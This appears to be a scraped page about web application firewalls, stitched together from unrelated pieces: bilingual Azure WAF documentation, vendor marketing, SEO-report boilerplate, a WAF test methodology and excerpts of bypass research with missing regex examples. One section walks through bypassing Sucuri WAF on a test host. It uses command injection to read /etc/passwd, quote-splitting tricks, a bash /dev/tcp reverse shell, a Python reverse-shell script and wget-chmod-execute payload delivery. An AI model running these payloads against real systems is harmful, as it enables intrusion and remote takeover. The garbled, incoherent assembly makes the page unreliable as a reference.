Подробные сведения о брандмауэре веб-приложения azure в шлюзе приложений azureazure web application firewall on azure application gateway

Политика и правила WAFWAF policy and rules

Вы можете настроить политику WAF и связать ее с любым числом интерфейсов Front Door, чтобы защитить их.You can configure a WAF policy and associate that policy to one or more Front Door front-ends for protection. Политика WAF состоит из правил безопасности двух типов:A WAF policy consists of two types of security rules:

• настраиваемые правила, созданные пользователем;custom rules that are authored by the customer.

• управляемые наборы правил, которые представляют собой управляемую Azure коллекцию предварительно настроенных правил.managed rule sets that are a collection of Azure-managed pre-configured set of rules.

Если используются правила обоих типов, то настраиваемые правила обрабатываются раньше, чем правила из управляемого службой набора правил.When both are present, custom rules are processed before processing the rules in a managed rule set. Каждое правило определяет условие соответствия, приоритет и действие.A rule is made of a match condition, a priority, and an action. Поддерживаются следующие типы действий: ALLOW (разрешить), BLOCK (блокировать), LOG (занести в журнал) и REDIRECT (перенаправить).Action types supported are: ALLOW, BLOCK, LOG, and REDIRECT. Вы можете создать полностью настраиваемую политику в соответствии с индивидуальными требованиями к защите приложения, комбинируя управляемые и пользовательские правила.You can create a fully customized policy that meets your specific application protection requirements by combining managed and custom rules.

Правила в рамках политики обрабатываются в приоритетном порядке.Rules within a policy are processed in a priority order. Приоритет — это уникальное целое число, определяющее порядок обработки правил.Priority is a unique integer that defines the order of rules to process. Чем меньше это значение, тем выше приоритет правила, а значит правила будут обработаны раньше правил с более высоким значением.Smaller integer value denotes a higher priority and those rules are evaluated before rules with a higher integer value. Когда обнаруживается подходящее правило, к запросу применяется действие, определенное в этом правиле.Once a rule is matched, the corresponding action that was defined in the rule is applied to the request. После обработки обнаруженного соответствия правила с более низким приоритетом не обрабатываются.Once such a match is processed, rules with lower priorities aren’t processed further.

Веб-приложение на платформе Front Door может иметь только одну связанную политику WAF в любой момент времени.A web application delivered by Front Door can have only one WAF policy associated with it at a time. Но вы можете использовать конфигурацию Front Door, с которой не связана ни одна политика WAF.However, you can have a Front Door configuration without any WAF policies associated with it. Если политика WAF присутствует, она реплицируется во все наши граничные расположения, чтобы применять согласованные политики безопасности по всему миру.If a WAF policy is present, it’s replicated to all of our edge locations to ensure consistent security policies across the world.

Comodo WAF

Компания Comodo, один из крупнeйших поставщиков SSL-сертификатов, с недавнего времени выпускает правила для ModSecurity-совместимого продукта Comodo WAF. Однако вместо того, чтобы писать свои правила фильтрации и регулярные выражения, судя по всему, разработчики решили просто накачать регулярок из других WAF и использовать их в своем продукте. А чтобы не прилетел иск за использование чужого кода, Comodo просто поменяла некоторые «незначительные» детали в правилах.

Что конкретно сделали в Comodo? Эти умельцы начали заменять символы в чужих регулярках их альтернативaми, которые, на первый взгляд, идентичны по смыслу. Например, квантификатор они заменяли на . Вроде бы такой подход выглядит нечестным, но безопасным.

Однако если рассмотреть другой пример замены, видно, что разработчики Comodo WAF зачем-то решили экранировать символ открывающей квадратной скобки. В примере ниже изначальное правило было верное: оно искало , где {event} — JavaScript-событие onLoad, onMouseOver, onError, etc.

После «исправления» регулярка Comodo WAF отдает false positive

После того как выражение «поправили», вместо on-события ищется паттерн . Это привело к тому, что обычный невредоносный запрос расценивается как атака. Но при этом легитимное событие файрвол пропускает!

Web application firewall vs. intrusion prevention system (IPS)

Web application firewalls and intrusion prevention systems both serve important purposes of digital security; each serves different purposes when it comes to protecting digital assets.

IPS solutions are not designed to have an understanding of the underlying application, which means it is not designed to look for anything that is classified as an attack against the web application; the attack must trigger specific parameters to trigger a response. The WAF, on the other hand, is designed to detect and prevent different attack styles against a web application, but they do not just purely review all the traffic that occurs like an IPS.

Any organization that already has an IPS should consider implementing a WAF to complement the security solution.

Ищем уязвимые регэкспы

Задокументировав все популярные ошибки и недочеты в таблицу, я написал небольшой статический анализатор регулярных выражений, который анализирует полученные выражения и подсвечивает найденные слабые части. Отчет сохраняется в виде HTML.

Запустив инструмент на выборке из 500 регулярных выражений, найденных при сборе правил, я получил интересные результаты: программа обнаружила более 300 потенциальных байпасов. Здесь и далее символы, подсвеченные желтым, — это потенциально уязвимые места в регулярных выражениях.

В первой строке регулярка уязвима к ReDoS.

Пример запуска анализатора на выборке правил, отобранной через grep

Еще один пример — некорректно выбранная длина строки в запросе union select. Очевидно, что ограничение можно обойти, просто вставив 101 символ и больше.

Некорректное использование максимальной длины подстроки в регулярном выражении

Теперь давай потестируем тулкит на более свежей базе. В качестве примера скачаем последний билд WordPress и при помощи grep вытащим из его исходного кода все регулярные выражения в файл .

Сохраняем все регулярные выражения из кодовой базы WordPress в файл regexp.txt

Запустим наш анализатор и взглянем на сгенерированный отчет. В файле обнаружилось выражение с описанной выше уязвимостью (вхождение непредназначенных символов). Вот лишь малый список open source CMS, в которых он используется: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla.

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score!
Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя!
Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.

Я уже участник «Xakep.ru»

ПреимуществаBenefits

В этом разделе описываются основные преимущества, которые предоставляет WAF в Шлюзе приложений.This section describes the core benefits that WAF on Application Gateway provides.

ЗащитаProtection

• Защита веб-приложений от сетевых уязвимостей и атак без изменений кода серверной части.Protect your web applications from web vulnerabilities and attacks without modification to back-end code.

• Одновременная защита нескольких веб-приложений.Protect multiple web applications at the same time. Один экземпляр Шлюза приложений может содержать до 40 веб-сайтов, защищенных брандмауэром веб-приложения.An instance of Application Gateway can host up to 40 websites that are protected by a web application firewall.

• Создание настраиваемых политик WAF для нескольких сайтов под защитой одного WAFCreate custom WAF policies for different sites behind the same WAF

• Защита веб-приложений от вредоносных ботов с помощью набора правил репутации IP-адресов (предварительная версия)Protect your web applications from malicious bots with the IP Reputation ruleset (preview)

НаблюдениеMonitoring

• Отслеживайте атаки на веб-приложения с помощью журнала WAF в реальном времени.Monitor attacks against your web applications by using a real-time WAF log. Этот журнал интегрирован с Azure Monitor, что позволяет отслеживать оповещения WAF и тенденции.The log is integrated with Azure Monitor to track WAF alerts and easily monitor trends.

• WAF в Шлюзе приложений интегрируется с Центром безопасности Azure.The Application Gateway WAF is integrated with Azure Security Center. Центр безопасности предоставляет централизованное представление о состоянии безопасности для всех ресурсов в Azure.Security Center provides a central view of the security state of all your Azure resources.

НастройкаCustomization

• Настройте правила и группы правил WAF в соответствии с требованиями приложения, чтобы уменьшить число ложноположительных результатов.Customize WAF rules and rule groups to suit your application requirements and eliminate false positives.

• Свяжите политику WAF с каждым сайтом, защищенным WAF, чтобы использовать индивидуальные конфигурации для сайтов.Associate a WAF Policy for each site behind your WAF to allow for site-specific configuration

• Создайте настраиваемые правила в соответствии с потребностями приложения.Create custom rules to suit the needs of your application

Дополнительные возможности

Защита от DoS-атак

Кроме защиты информации, WAF могут предоставлять функции по её доступности, борясь с DoS-атаками. При обнаружении атаки ограничиваются или блокируются пользователи, которые участвуют в нагрузке трафика. Так же WAF могут внедрить капчу в ответ сервера, тем самым отсекая автоматические запросы и допуская реальных пользователей.

Сканеры уязвимостей

WAF в комплекте могут иметь собственный сканер уязвимостей

Сканер обращает внимание разработчиков приложения на недочёты, которые впоследствии могут быть исправлены, либо ответственность за них может быть делегирована WAF. В ходе такого анализа сканер может генерировать запросы с конкретными значениями параметров, которые позволят эксплуатировать найденную уязвимость

Зная слабые места веб-приложения WAF генерируют виртуальные патчи, которые закрывают такие места.

Maximize innovation with PT AF

The Positive Technologies application firewall (PT AF) maximizes innovation for your security needs, providing protection that dramatically exceeds standard WAFs. The PT AF utilizes machine learning to proactively protect web applications from a variety of attacks, both expected and unexpected. Through continuous updates based on security research and logical analysis of attack attempts, the PT AF responds to and mitigates 0-day attacks, DDoS attempts, XSS attacks, and other vulnerabilities and weaknesses that may exist. Additionally, the PT AF uses the automated creation of virtual patches to address identified vulnerabilities without user intervention; this allows the PT AF to respond to threats quickly and efficiently without human interaction or intervention. PT AF is designed with over 15 years of in-depth security research. The culmination of this research provides top of the line security response, and it is constantly updated by Positive Technologies to make sure that new threats are integrated to give the firewall more countermeasures and threat detection standards.

PT AF — Web Application Firewall

Our web application firewall is an innovative protection system that detects and blocks attacks including the OWASP Top 10, WASC, layer 7 DDoS, and zero-day attacks with pinpoint accuracy. It ensures continuous security for applications, APIs, users, and infrastructure while supporting compliance with security standards including PCI DSS.

Learn more

HTML верстка и анализ содержания сайта

Размещённая в данном блоке информация используется оптимизаторами для контроля наполнения контентом главной страницы сайта, количества ссылок, фреймов, графических элементов, объёма теста, определения «тошноты» страницы.
Отчёт содержит анализ использования Flash-элементов, позволяет контролировать использование на сайте разметки (микроформатов и Doctype).

IFrame – это плавающие фреймы, которые находится внутри обычного документа, они позволяет загружать в область заданных размеров любые другие независимые документы.

Flash — это мультимедийная платформа компании для создания веб-приложений или мультимедийных презентаций. Широко используется для создания рекламных баннеров, анимации, игр, а также воспроизведения на веб-страницах видео- и аудиозаписей.

Микроформат — это способ семантической разметки сведений о разнообразных сущностях (событиях, организациях, людях, товарах и так далее) на веб-страницах с использованием стандартных элементов языка HTML (или XHTML).

Веселье с Sucuri WAF

Прежде всего я попытаюсь использовать это PHP приложение чтобы получить тело ответа google.com без кодирования значения параметра:

curl -v 'http://test1.unicresit.it/?zzz=google.com'

Это работает как ожидалось, страница google.com со статусом ответа 302 говорит, что мне следует пройти по адресу www.google.de (google правильно определил расположение моего сервера во Франкфурте):

Теперь много вещей, которые я могу делать, чтобы эксплуатировать это уязвимое приложение. Одна из них — это поломка синтаксиса curl с помощью ; (точки с запятой) и попытка выполнить другие системные команды. Sucuri злится, когда я пытаюсь прочитать файл /etc/passwd… Например:

curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'

приводит к блокировке в Sucuri WAF по следующей причине «An attempted RFI/LFI was detected and blocked» (была обнаружена и заблокирована попытка удалённого/локального внедрения файлов). Я думаю (просто предположение, поскольку пользователи не могут видеть подробности правила Sucuri WAF), что правило Sucuri «RFI/LFI Attempt» использует что-то вроде «совпадение фраз» со списком обычных путей и имён файлов, таких как /etc/passwd. Этот WAF имеет очень минималистический набор правил и очень низкий «уровень паранойи», который позволяет мне обойти это правило используя просто две одинарных кавычки!

curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"

Обход Sucuri WAF используя две одинарных кавычки:

Я знаю, что вы думаете: «хорошо, ты можешь прочитать файл passwd обойдя все наборы правил WAF…, но реальный, самый большой и самый важный, мать всех вопросов такой: можешь ли ты получить шелл даже если Sucuri WAF активен и защищает ваше приложение?» natürlich да! Единственная проблема, что мы не можем использовать netcat, поскольку она не установлена в целевой контейнер и да: я проверил это используя удалённое выполнение команд

curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls

curl -s "http://test1.unicresit.it/?zzz=;+which+nc"

Самый простой способ (с несколькими специальными символами, которые могут быть заблокированы в WAF), это использовать команду bash -i примерно так: bash -i >& /dev/tcp/1.1.1.1/1337 0>&1, но к сожалению это слишком сложно для обхода всех наборов правил с этой полезной нагрузкой, и это означает, что будет трудно использовать PHP, Perl или Python код чтобы получить его. Sucuri WAF блокирует мои попытки по причине «Obfuscated attack payload detected.» (обнаружена атака с обфусцированной полезной нагрузкой). Круто, не так ли?

Вместо попытки получить шелл отправляя команды напрямую через уязвимый параметр, я могу загрузить обратный шелл Python в директорию с правами записи используя curl или wget. Начнём с подготовки кода python в shell.py:

#!/usr/bin/python2
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Затем «поднимите» веб-сервер, доступный с целевой системы, как обычно, используя python2 -c SimpleHTTPServer или php -S, и т.д. Затем загрузите файл shell.py с целевого веб-сайта, я использовал следующий синтаксис:

curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'

Шелл загруженный с помощью curl:

Обратный шелл на python через Sucuri WAF:

Окей, Sucuri WAF не блокирует этот запрос, но обычно ModSecurity блокирует подобную хрень Если вы хотите быть уверенным, что обойдёте все типы правил «совпадения фраз», вы можете использовать wget + ip-в-длинной-нотации + объединение строки:

.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html

Первая команда использует wget для загрузки шелла в /tmp/. Вторая использует chmod чтобы сделать его исполнимым и третья исполняет его. Как вы можете видеть, не указано имя файла в запросе к команде wget, поэтому загруженный файл назван самой wget как index.html. Вы можете изменить содержимое этого файла используя netcat nc записывая заголовки ответа и тело ответа вручную, как-то примерно как это показано на следующем скриншоте.

Использование netcat для ответа на HTTP запрос от RCE:

Теперь самая трудная часть…

Ошибки, связанные с опечатками в ModSecurity и других WAF

Следующее регулярное выражение взято из ModSecurity и содержит явную ошибку:

Это регулярное выражение должно искать:

• , один и больше пробелов, какую-то букву;
• , один или больше пробелов, какую-то букву;
• …
• , ДВА или больше пробелов, какую-то букву.

Очевидна проблема в опечатке перед зaкрывающей скобкой — туда затесался лишний пробел. В результате секция регулярного выражения с и последней частью () ищет два пробела между и буквой: один после not, один в качестве произвольного пробельного символа.

Это «неправильное» регулярное выражение я встречал в коде ModSecurity несколько раз, в комбинации с разными ключевыми словами. Затем случайно наткнулся на него в коде PHPIDS. Выяснилось, что оригинальный коммит, с которым внесли ошибку, был сделан в 2008 году. То есть уязвимость существовала почти восемь лет. Невольно закрадывaются подозрения, что это может быть и умышленный бэкдор.

Коммит, который сломал регулярку в коде PHPIDS

Добавь к этому тот факт, что разработчики часто копируют чужие регулярные выражения и правила из популярных продуктов, так что можно представить, сколько еще WAF скопировали это регулярное выражение из кода ModSecurity.

Использование услуги

Для доступа в личный кабинет Imperva следуйте инструкциям, полученным на контактный адрес электронной почты.

Во вкладке Websites боковой панели личного кабинета выберите защищаемый ресурс и нажмите кнопку STATS, чтобы получить доступ к трем основным разделам:

• Dashboard — метрики трафика, производительности и безопасности веб-сайта, представленные графически;
• Events — журнал событий безопасности;
• Settings — настройки, связанные с безопасностью, защитой веб-страниц, производительностью и доступностью сайта.

В разделе Dashboard зайдите в подраздел Traffic, чтобы посмотреть входящий, кэшированный и заблокированный трафик за определенный промежуток времени. В подразделе Real-Time выводится объем трафика и производительность веб-сайта в режиме реального времени.

В подразделе Security доступен подробный анализ угроз безопасности сайта, включающий: IP-адрес, клиентское приложение (user agent), геопозицию и другую информацию по сессии.

В подразделе Performance доступны данные для мониторинга производительности систем (использование полосы пропускания, количество запросов и кэширование контента).

В разделе Events выводится журнал событий безопасности. События создаются, когда срабатывает правило безопасности (встроенные правила Imperva или пользовательские настройки безопасности).

В разделе Settings личного кабинета можно настроить пользовательские правила безопасности в следующих подразделах:

• Origin Servers — задается топология сайта (единичный сервер, несколько серверов, несколько дата-центров) и настраивается балансировка нагрузки для выбранной топологии;
• General — общие настройки, включающие правила переадресации, SSL-сертификаты, настройки DNS и др.;
• Monitoring — выберите, по каким сценариям сбоя будут генерироваться оповещения;
• IncapRules — реализация пользовательских правил безопасности для защиты от целевых атак;
• Login Protect — настройка двухфакторной аутентификации для любого веб-сайта или приложения;
• Performance — настройка повышения производительности веб-сайта;
• Security — контроль доступа, белые и черные списки посетителей;
• WAF ― настройка WAF.

Во вкладке Attack analytics боковой панели личного кабинета события безопасности анализируются искусственным интеллектом Imperva и сортируются по группам, которым присваивается соответствующий уровень угрозы.

Отчёт: география и посещаемость сайта

Отчёт в графической форме показывает объём посещений сайта waf-waf.ru, в динамике, с привязкой к географическому размещению активных пользователей данного сайта.
Отчёт доступен для сайтов, входящих в TOP-100000 рейтинга Alexa. Для всех остальных сайтов отчёт доступен с некоторыми ограничениями.

Alexa Rank – рейтинговая система оценки сайтов, основанная на подсчете общего количества просмотра страниц и частоты посещений конкретного ресурса. Alexa Rank вычисляется исходя из показателей за три месяца. Число Alexa Rank – это соотношение посещаемости одного ресурса и посещаемости прочих Интернет-порталов, поэтому, чем ниже число Alexa Rank, тем популярнее ресурс.

Анализ поисковых запросов сайта

Приведённый выше отчёт по частотности использования поисковых запросов, может быть использован оптимизаторами сайта при составлении его семантического ядра и подготовке контента т.н. «посадочных страниц». Статистика поисковых запросов — обобщённая сгруппированная информация по «обращениям» пользователей к поисковой системе по ключевым запросам (фразам).
В большинстве случаев, наш сервис показывает уже сгруппированную информацию, содержащую не только подборку самых популярных слов (фраз), но и словосочетания + синонимы. Собранная в данном разделе статистика показывает по каким «ключевым словам» (поисковым запросам) пользователи переходят на сайт waf-waf.ru.

Поисковый запрос – это слово или словосочетание, которое пользователь вводит в форму поиска на сайте поисковой системы, с учётом автоподбора и автоматического исправления в поиске ошибочного набора.

Описание методики сравнительного теста WAF

Методология теста WAF

Тестирование производилось на специально созданном стенде, обеспечивающем равные условия для всех сравниваемых решений. В процессе тестирования часть сетевого трафика генерируется при исполнении атакующих сценариев (скриптов), каждый из которых представляет собой попытку эксплуатации одной из реальных уязвимостей тестового веб-приложения. При этом для каждого из атакующих сценариев на тестовом стенде развернута соответствующая ему версия уязвимого веб-приложения, что позволяет произвести проверку обнаружения и блокирования атак в условиях, максимально приближенных к реальным в части характеристик атакующих запросов к уязвимым веб-приложениям и ответов от веб-приложений.

Стенд и окружение для тестирования WAF

Все тестируемые продукты были развернуты в среде виртуализации VMWare ESX версии 6.0. в режиме Reverse Proxy. Для каждой виртуальной машины были выделены следующие ресурсы:

• CPU — 2
• Memory — 8 Гб
• Disk Space — 80 Гб

В качестве тестируемых веб-приложений использовались следующие продукты:

• bWapp
• Hackazon

Рисунок 1. Общая схема стенда для сравнительного теста WAF

 

Для реализации этой схемы было разработано программное обеспечение HTTP-proxy, реализованное в качестве прокси-сервера. Оно использовалось в стенде и позволяет провести тестирование всех решений WAF в одинаковых условиях. HTTP-proxy дублирует работу с основным веб-приложением (напрямую, без WAF) на все входные точки в приложение, защищенные различными решениями WAF. Для задания входных точек в приложения через каждый из WAF используется конфигурационный файл. После отправки запросов (на каждый из WAF и на оригинальную точку входа в приложение), прокси-сервер разбирает ответы от WAF и определяет, был ли запрос воспринят как опасный или был корректно обработан веб-приложением без вмешательства решения WAF. Ответ на запрос, переданный на оригинальную точку входа в приложение, возвращается специалисту без модификации и проверок. По результатам проверок HTTP-proxy генерирует сводную таблицу, содержащую наименование каждого тестируемого решения WAF и его реакцию на переданный запрос.

Для обучения всех WAF был разработан скрипт на jmeter ver 3.2, эмулирующий пользовательскую работу с приложением Hackazon (регистрация пользователей, просмотр продуктов, покупка продуктов и т. д.). Данный скрипт был запущен на все WAF с одинаковым профилем.

Features

• SQL-injection protection.
• Cross-site scripting protection.
• Protection against other common web attacks, such as command injection, HTTP request smuggling, HTTP response splitting, and remote file inclusion.
• Protection against HTTP protocol violations.
• Protection against HTTP protocol anomalies, such as missing host user-agent and accept headers.
• Protection against crawlers and scanners.
• Detection of common application misconfigurations (for example, Apache and IIS).
• Configurable request size limits with lower and upper bounds.
• Exclusion lists let you omit certain request attributes from a WAF evaluation. A common example is Active Directory-inserted tokens that are used for authentication or password fields.
• Create custom rules to suit the specific needs of your applications.
• Geo-filter traffic to allow or block certain countries/regions from gaining access to your applications. (preview)
• Protect your applications from bots with the bot mitigation ruleset. (preview)

Выводы

Как мы видим, обход WAF — это вполне посильная задача

Очень важно не просто фаззить insertion point’ы, а разбираться в самой причине возникновения байпаса. Иногда для этого надо прочитать исходники и проанализировать большое количество правил

Зачастую в таких исследованиях находится не один, а целая пачка байпасов. Все инструменты из этой статьи доступны в открытом доступе на Гитхабе. Если хочешь, присоединяйся к разработке нашего тулкита, и вместе мы найдем еще больше векторов!

Почему байпасы будут жить всегда

Возможности обойти WAF обычно ищут две стороны, но ирония состоит в том, что в качественном исправлении обходов никто не зaинтересован.

Первая сторона — это атакующие, они проводят black box testing и ищут дыры в веб-приложении. Когда они обнаруживают, что приложение защищено при помощи WAF, то стараются перебрать все известные им варианты обхода. Это могут быть техники, описанные в публичных статьях, собственные наработки или фаззинг. В последнем случае атакующий фаззит огромное количество пользовательского ввода, чтобы найти тот символ, который будет обходить правило WAF. В случае успешного обхода атакующий не будет отправлять вендору отчет об уязвимости, и, скорее всего, она не будет исправлена.

Вторая сторона — это защитники (например, безопасники в компании), они обычно пользуются продуктами, которые создала сторонняя фирма. Реальность такова, что и они редко разбираются в отчетах, которые генерирует WAF, и почти никогда не отправляют отчет об уязвимости разpаботчикам.

За опенсорсными проектами WAF обычно стоит небольшая комaнда, которая мейнтейнит правила на добровольных началах. Даже если пoдробный отчет о найденных обходах достигнет внимания такой комaнды, выпуск патча может затянуться из-за банальной незаинтересованности.